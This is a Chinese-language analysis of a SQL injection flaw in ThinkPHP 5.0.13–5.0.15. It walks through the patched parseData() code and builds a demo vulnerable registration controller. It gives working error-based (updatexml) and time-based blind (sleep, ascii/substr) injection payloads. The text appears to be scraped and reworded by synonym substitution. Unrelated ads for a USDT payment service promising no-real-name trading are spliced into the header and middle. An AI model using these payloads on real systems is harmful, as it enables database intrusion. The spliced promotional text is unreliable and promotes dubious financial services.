欢迎进入UG环球官网(环球UG)!

买usdt最便宜的地方(www.caibao.it):Thinkphp 5.0.15 SQL注入破绽挖掘剖析

admin1个月前27

USDT自动充值

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

2018年3月26日tp举行了一次平安更新。

本次更新大佬们立马找到了破绽点并给出了paylaod:

public/index.php/index/index/?username[0]=inc&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1

本篇文章主要剖析破绽存在点的定位,payload的组织。剖析一下大佬们是怎么处置开源cms平安更新,并组织exp的。

涉及版本:5.0.13<=ThinkPHP<=5.0.155.1.0<=ThinkPHP<=5.1.5

1.Tp5.0.16的平安更新:

case 'inc':
             $result[$item] = $item . '+' . floatval($val[2]);
case 'inc':
       if ($key == $val[1]) {                           
           $result[$item] = $item . '+' . floatval($val[2]);
       }

本次更新对library/think/db/Builder.php中获取到的参数增添了判断:判断输入值必须和数据库字段值相等才气举行下一步的代码拼接。

从这个点可以判断本次平安更新极大可能与sql注入有关。

Inc,dec,exp函数剖析:

可以参考官方文档:

这三个方式主要用在sql链式操作。

用法示例:

// score 字段加 1
Db::table('think_user')->where('id', 1)->setInc('score');

// score 字段减 1
Db::table('think_user')->where('id', 1)->setDec('score');

//选择id=1,3,8三个值的列
where('id','exp',' IN (1,3,8) ');
//exp查询的条件不会被当成字符串,以是后面的查询条件可以使用任何SQL支持的语法,包罗使用函数和字段名称。

//综合使用
Db::table('data')
    ->where('id',1)
    ->inc('read')
    ->dec('score',3)
    ->exp('name','UPPER(name)')
    ->update();
//该语句的意思是查询data表并将id=1的列字段值score+3,并将name值改为大写。

2.发生sql注入的缘故原由

用到parseData()函数的地方

凭证官方的更新判断出本次更新和sql注入有关,涉及的函数为parseData()全局搜索用到该函数的地方:

builder类的insert()用到了parseData()

其中builder类的insert方式用到了该函数,并将该函数剖析的数据拼接到了$sql参数中,

public function insert(array $data, $options = [], $replace = false)
    {
        // 剖析并处置数据
        $data = $this->parseData($data, $options);
        if (empty($data)) {
            return 0;
        }

//        返回数组的所有键值,返回值为数组
        $fields = array_keys($data);
//        返回数组的所有的值
        $values = array_values($data);

                /***********重点***********/
//        通过替换的方式拼接sql语句
//        将$this->insertSql中的['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%']依此替换为获取的值
//        该处并没有任何过滤函数
        $sql = str_replace(
            ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
            [
                $replace ? 'REPLACE' : 'INSERT',
                $this->parseTable($options['table'], $options),
//                用','链接所有数组元素。以是这里将data数组中的键值变为了','链接的字符串
                implode(' , ', $fields),
                implode(' , ', $values),
                $this->parseComment($options['comment']),
            ], $this->insertSql);

        return $sql;
    }

以是现在也许可以确定insert方式存在sql注入,会将输入的参数直接拼接返回sql语句。

tp框架内置insert函数剖析:

tp内使用insert()添加数据时,使用的insert()函数挪用了builder类的insert()函数。

public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
    {
        // 剖析查询表达式
        $options = $this->parseExpress();
        $data    = array_merge($options['data'], $data);


            /****************重点**************/
            //将获取到的data数组,用builder类的insert方式处置天生sql语句

            // 天生SQL语句
        $sql = $this->builder->insert($data, $options, $replace);


        // 获取参数绑定
        $bind = $this->getBind();
        if ($options['fetch_sql']) {
            // 获取现实执行的SQL语句
            return $this->connection->getRealSql($sql, $bind);
        }

        // 执行操作
        $result = 0 === $sql ? 0 : $this->execute($sql, $bind);
        if ($result) {
            $sequence  = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
            $lastInsId = $this->getLastInsID($sequence);
            if ($lastInsId) {
                $pk = $this->getPk($options);
                if (is_string($pk)) {
                    $data[$pk] = $lastInsId;
                }
            }
            $options['data'] = $data;
            $this->trigger('after_insert', $options);

            if ($getLastInsID) {
                return $lastInsId;
            }
        }
        return $result;
    }

tp的insert方式会将获得数组数据放入builder类的insert方式天生sql语句。

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

builder类的insert()方式则挪用了parseDate()函数:

以是确定输入点为tp框架的insert方式。

后面测试update()方式也能触发该破绽,username[0]=inc和dec都可以。

以是流程为:

tp框架insert()-->builder类insert()-->builder类parseDate()

parseDate函数处置数组[0]=dec或inc时:会将数组[1]和数组[2]拼接
拼接返回的sql语句最终在tp框架insert方式中执行

3.组织paylaod:

parseDate()方式

protected function parseData($data, $options)
    {
//        data数据为空则赋值为空数组
        if (empty($data)) {
            return [];
        }

        // 获取绑定信息
        $bind = $this->query->getFieldsBind($options['table']);
        if ('*' == $options['field']) {
            $fields = array_keys($bind);
        } else {
            $fields = $options['field'];
        }

        $result = [];

//       循环处置data数组的值,将data数组的值存入val数组
        foreach ($data as $key => $val) {
            $item = $this->parseKey($key, $options);
//            若是是一个工具且存在__toString()函数,则赋值为toString的值
            if (is_object($val) && method_exists($val, '__toString')) {
                // 工具数据写入
                $val = $val->__toString();
            }

            if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
                if ($options['strict']) {
                    throw new Exception('fields not exists:[' . $key . ']');
                }
            } elseif (is_null($val)) {

              $result[$item] = 'NULL';

                /***************重点***************/
                //输入的数组值不为空,则检查数组[0]是否为exp,inc,dec ,若是是inc与dec则举行拼接
                //拼接方式为:值1.+.值二
                /*以是此时组织的payloaf为数组
                arr[0]=inc&arr[1]=exp&arr[2]=exp
                */
            } elseif (is_array($val) && !empty($val)) {
                switch ($val[0]) {
                    case 'exp':
                        $result[$item] = $val[1];
                        break;
                    case 'inc':
                    /*floatval为获取变量的浮点值*/
                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                        break;
                    case 'dec':
                        $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                        break;
                }
            } elseif (is_scalar($val)) {
                // 过滤非标量数据
                if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                    $result[$item] = $val;
                } else {
                    $key = str_replace('.', '_', $key);
                    $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                    $result[$item] = ':data__' . $key;
                }
            }
        }
        return $result;
    }

凭证parseData方式获得payload必须知足的条件:

输入值为数组,
payload名堂为:arr[0]=inc&arr[1]=exp&arr[2]=数字

由于是insert注入,以是接纳报错注入的方式,组织payload为:

arr[0]=inc&arr[1]=updatexml(0x7e,user(),0x7e)&arr[2]=1

此时需要找一个payload输入点,insert注册功效处就有。

简朴写一个注册demo:

tp5.0.1/application/index/controller/Register.php

<?php
namespace app\index\controller;
use app\index\model\Users;
use think\View;
use think\Controller;


class Register extends Controller{
    public function index(){
        $view = new View();
        return $view->fetch('index');
    }

    public function register(){
        //实例化User
        $user = new Users();
        //吸收前端表单提交的数据

        $user->username = input('post.username');
        $user->sex = input('post.sex');
        $user->password = input('post.password');

        $result=array(

            "username"=>$user->username,
            "sex"=>$user->sex,
            "password"=>$user->password
        );

        db('users')->insert($result);
        return 'Update success';

    }


}

tp5.0.1/application/index/view/register/index.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>注册</title>
</head>
<body>
<div id="regist_form">
    <dl>
        <form action="/tp5.0.1/public/index.php/index/register/register" method="post">
                <h1>注册页面</h1>

                <p>用户名:<input type="text" name="username"></p>
                <p>性别:<input type="text" name="sex"></p>
                <p>密码:<input type="text" name="password"></p>

                <input type="submit" name="submit" value="Submit">

        </form>
    </dl>
</div>
</body>
</html>

发现在接受数据处必须要这样写:

$user->username = input('post.username/a');

才气触发注入.....可是大多数时刻程序员都不会这样写吧,直接吸收一个数组....

/a修饰符官方注释:

添加/a实验提交数据注入实验:

直接对注册接口提交payload

感受这个破绽对照鸡肋必须要知足用户吸收一个数组输入时才气触发,一样平常的功效点也不会这样写,然则也纷歧定吧,遇到的时刻可以多实验。

在debug没开启时可以通过时间盲注的形式获取数据,paylaod:

?username[0]=inc&username[1]=sleep(5)&username[2]=1

http://127.0.0.1:8888/tp5.0.1/public/index.php/index/index/?username[0]=inc&username[1]=If(ascii(substr(database(),1,1))=115,1,sleep(3))&username[2]=1

4.官方修回复理

输入的val[1]必须和字段值相等才会举行拼接,字段值不能能为paylaod:updatexml(0x7e,user(),0x7e);等注入语句,也就修复了注入问题

参考链接:
https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8BSQL%E6%B3%A8%E5%85%A51.md

上一篇 下一篇

猜你喜欢

网友评论

随机文章
热门文章
热评文章
热门标签